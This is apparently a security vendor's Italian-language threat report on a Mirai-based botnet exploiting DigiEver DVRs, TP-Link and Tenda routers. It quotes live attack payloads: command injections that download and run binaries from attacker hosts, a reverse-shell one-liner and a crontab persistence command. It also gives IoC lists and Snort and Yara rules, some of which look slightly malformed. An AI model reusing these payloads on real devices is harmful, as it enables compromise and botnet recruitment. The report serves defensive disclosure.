DigiEver risolve un problema dei dispositivi IoT
Analisi riassuntiva
Una vulnerabilità presente nei videoregistratori digitali DigiEver DS-2105 Pro è stata sfruttata per diffondere una variante di malware.
Il SIRT (Security Intelligence Research Team) di Akamai ha osservato questa attività nei propri honeypot il 18 novembre 2024.
La vulnerabilità è stata originariamente scoperta da Ta-Lun Yen e un identificatore della CVE è stato richiesto dal SIRT di Akamai.
Il malware è una variante Mirai modificata per utilizzare gli algoritmi di crittografia.
In questo blog, abbiamo incluso un elenco di indicatori di compromissione (IoC) per aiutarvi a difendervi da questa minaccia.
AVVISO SUI CONTENUTI: i criminali responsabili di questo malware utilizzano nomi di contenuti che possono essere considerati offensivi. Tali nomi non sono stati corretti nell'intento di consentirne più facilmente l'individuazione poiché la campagna di attacco è ancora attiva in rete.
Introduzione e rilevamento
A metà novembre 2024, il SIRT di Akamai ha scoperto un'impennata di attacchi sferrati contro l'URI /cgi-bin/cgi_main.cgi nella nostra rete globale di honeypot. Questa attività sembra far parte di una recente campagna di malware basata su Mirai, che risale almeno ad ottobre 2024.
Attualmente, alla vulnerabilità non è stato ancora assegnato un codice CVE, ma sembra sia stata originariamente scoperta e pubblicata da Ta-Lun Yen di TXOne Research. In questa pubblicazione, il ricercatore ha attribuito questa vulnerabilità RCE (Remote Code Execution) a più videoregistratori digitali, tra cui il modello DigiEver DS-2105 Pro. I nostri analisti hanno stabilito che i tentativi di exploit osservati sono in linea con questa ricerca sulla vulnerabilità che è stata pubblicata.
Ulteriori indagini su questa campagna hanno rivelato una nuova botnet denominata "Hail Cock", che è attiva almeno da settembre 2024. Tramite l'utilizzo di una variante del malware Mirai che integra gli algoritmi di decrittografia ChaCha20 e XOR, questa botnet ha violato alcuni dispositivi IoT (Internet of Things) vulnerabili in rete, come il videoregistratore digitale DigiEver, e i dispositivi TP-Link tramite la CVE-2023-1389.
La vulnerabilità
La vulnerabilità del videoregistratore digitale DigiEver è stata scoperta da un ricercatore di TXOne dopo una ricerca effettuata in alcuni indirizzi IP vulnerabili durante i test di penetrazione. Tramite le query di Shodan, il ricercatore è riuscito ad identificare molti indirizzi IP relativi a dispositivi storicamente vulnerabili, come i videoregistratori digitali. Il ricercatore è riuscito ad emulare il firmware del videoregistratore digitale DigiEver notando che /cgi-bin/cgi_main.cgi è stato uno degli endpoint CGI (Figura 1).
Tramite questo endpoint, il ricercatore è riuscito ad eseguire la RCE (Figura 2).
Sfruttamento attivo
Il SIRT di Akamai ha notato che questo URI ha iniziato ad essere preso di mira da un criminale sconosciuto il 18 novembre 2024. Siamo riusciti ad associare la sintassi del payload osservato nei nostri honeypot alla PoC (Proof-of-Concept) dalla pubblicazione della ricerca (Figura 3).
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Figura 3. Il payload che ha preso di mira la vulnerabilità RCE di DigiEver (URL decodificato)
La vulnerabilità sembra consentire un attacco CMDi (Command injection) come argomento nel parametro ntp. In questo esempio, è stato preso di mira un server di hosting del malware nell'intento di scaricare il malware basato su Mirai. Queste sessioni risultano richieste HTTP POST effettuate tramite la porta 80 con "**IP Address**:80/cfg_system_time.htm" come intestazione del referer HTTP.
Oltre all'exploit della RCE di DigiEver, osserviamo come questa botnet ha preso di mira altre vulnerabilità, come la CVE-2023-1389, interessando i dispositivi TP-Link (Figura 4).
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
Figura 4. Payload che ha preso di mira la CVE-2023-1389
La botnet sfrutta questa vulnerabilità CMDi (Command injection) nell'endpoint /cgi-bin/luci;stok=/locale sull'interfaccia di gestione web di TP-Link per scaricare ed eseguire uno script di shell dannoso. A sua volta, questo script scarica il payload del malware Mirai e lo esegue sul sistema preso di mira (Figura 5).
La botnet prende anche di mira la vulnerabilità CMDi (Command injection) remota Tenda HG6 v3.3.0 (Figure 6).
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
Figura 6. Payload che ha preso di mira la vulnerabilità Tenda HG6
Oltre a queste vulnerabilità, abbiamo osservato che questa botnet ha preso di mira altre vulnerabilità, come la CVE-2018-17532, interessando i router Teltonika RUT9XX. Questo exploit scarica ed esegue lo script di una shell tramite una richiesta wget, che, a sua volta, effettua un'altra richiesta per scaricare ed eseguire il malware sul sistema preso di mira (Figura 7).
Il malware
I campioni di malware identificati appartenevano alle varianti di malware basate su Mirai che sono state distribuite in varie architetture, inclusi i sistemi x86, ARM, MIPS e molti altri. Un aspetto particolarmente interessante di questi campioni ha riguardato il loro utilizzo di XOR e ChaCha20 per gli algoritmi di decrittografia.
Alcune stringhe osservate nella sezione dell'analisi dinamica, come la stringa "you are now apart of hail cock botnet" visualizzata sulla console, non erano visibili nella sezione delle stringhe del malware leggibili dall'uomo né nelle stringhe XOR decodificate.
Abbiamo scoperto che un ricercatore della sicurezza indipendente ha pubblicato in Giappone alcuni interessanti risultati su questo malware. Il ricercatore ha scoperto che il malware ha decrittografato questa stringa e l'ha visualizzata sulla console, con la stringa memorizzata nei dati del file binario (Figura 8).
Il controllo del punto in cui una stringa viene assegnata a questo output mostra la funzione di decrittografia della stringa (FUN_00408500) e la posizione della stringa (DAT_005166a0) come argomento. Dopo aver effettuato l'inizializzazione, la successiva funzione viene usato per elaborare la stringa crittografata dal secondo argomento e per archiviarla in memoria (Figura 9).
Esaminando la funzione "FUN_00404960," il ricercatore ha scoperto che il relativo passaggio finale riguardava un'operazione XOR. Nelle sezioni in cui le costanti vengono utilizzate e convertite in codice ASCII, la funzione restituisce la stringa "expand 32-byte k." Questa stringa è una costante nota negli algoritmi crittografici, come Salsa20 e ChaCha20, a indicare che la funzione denominata "FUN_00404960" è responsabile della decrittografia (Figura 10).
Anche se l'utilizzo di metodi di decrittografia complessi non è nuovo, suggerisce tattiche, tecniche e procedure in evoluzione tra gli operatori di botnet basati su Mirai. Questo aspetto è particolarmente significativo perché molte botnet basate su Mirai dipendono ancora dalla logica di offuscamento della stringa originale dal codice riciclato che è stato incluso nel codice sorgente del malware Mirai originale.
Come emerge dall'analisi statica della stringa, il malware utilizza molte credenziali predefinite o comuni di vari dispositivi per diffondere la botnet ad altri host. Molte nuove coppie di credenziali sono state aggiunte a quelle originali fornite con Mirai, inclusa, ad esempio, la stringa "telecomadmin", che è il nome utente predefinito del kit di terminazione della fibra di Huawei ONT HG8245H5, e la password predefinita di alcuni router che utilizzano il chipset Realtek.
Informazioni su Sandbox
Eseguendo i campioni di malware in ambienti Sandbox dinamici, siamo riusciti ad identificare altri IoC e stringhe importanti nel malware. Un comportamento simile che abbiamo osservato è stato rappresentato dalla creazione di un processo cron per scaricare ed eseguire uno script di shell dal dominio "hailcocks[.]ru" allo scopo di mantenere la persistenza (Figura 11). Questo processo tenta di scaricare il file "wget.sh" dallo stesso server tramite una richiesta cURL e/o wget per garantire la compatibilità nel caso in cui non sia installato sull'host violato.
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
Figura 11. Persistenza tramite crontab
Al momento dell'esecuzione, il malware si connette con una varietà maggiore di host, coerentemente al comportamento tipico degli attacchi di forza bruta basati su Telnet come Mirai e SSH. Inoltre, si connette con un indirizzo IP separato con record A di risoluzione al dominio "kingstonwikkerink[.]dyn" per le comunicazioni C2 (Command and Control).
Inoltre, gli host violati con questo malware stampano una stringa univoca sulla console al momento di eseguire il malware. Alcune versioni precedenti del malware stampano la stringa "you are now apart of hail cock botnet" (Figura 12). Alcune versioni più recenti del malware, invece, stampano la stringa "I just wanna look after my cats, man" sulla console (Figura 13).
Conclusione
I criminali informatici sfruttano costantemente da anni il malware Mirai per sferrare campagne di botnet e la nuova botnet Hail Cock non fa eccezione. Uno dei metodi più semplici per i criminali di violare i nuovi host consiste nel prendere di mira programmi firmware obsoleti o dispositivi hardware ritirati, come, ad es., il modello DigiEver DS-2105 Pro, risalente a circa 10 anni fa. I produttori di hardware non sempre pubblicano le patch appropriate per i dispositivi ritirali ed essi stessi potrebbero aver cessato le loro attività. Pertanto, nei casi in cui non sono disponibili appropriate patch di sicurezza né è prevista una loro imminente pubblicazione, si consiglia di aggiornare i dispositivi vulnerabili alle versioni più recenti dei rispettivi modelli.
IoC
Abbiamo incluso un elenco di IoC, nonché di regole Snort e Yara, per aiutare i team addetti alla sicurezza.
Regole Snort per gli IoC di rete
Regole Snort per gli IP C2
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
Regole Snort per il rilevamento della risoluzione dei domini C2
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
Regole Yara per i campioni di malware
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
Indirizzi IPv4 delle infrastrutture storiche
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
Domini per gli endpoint di distribuzione di malware e C2
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
Hash SHA256
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5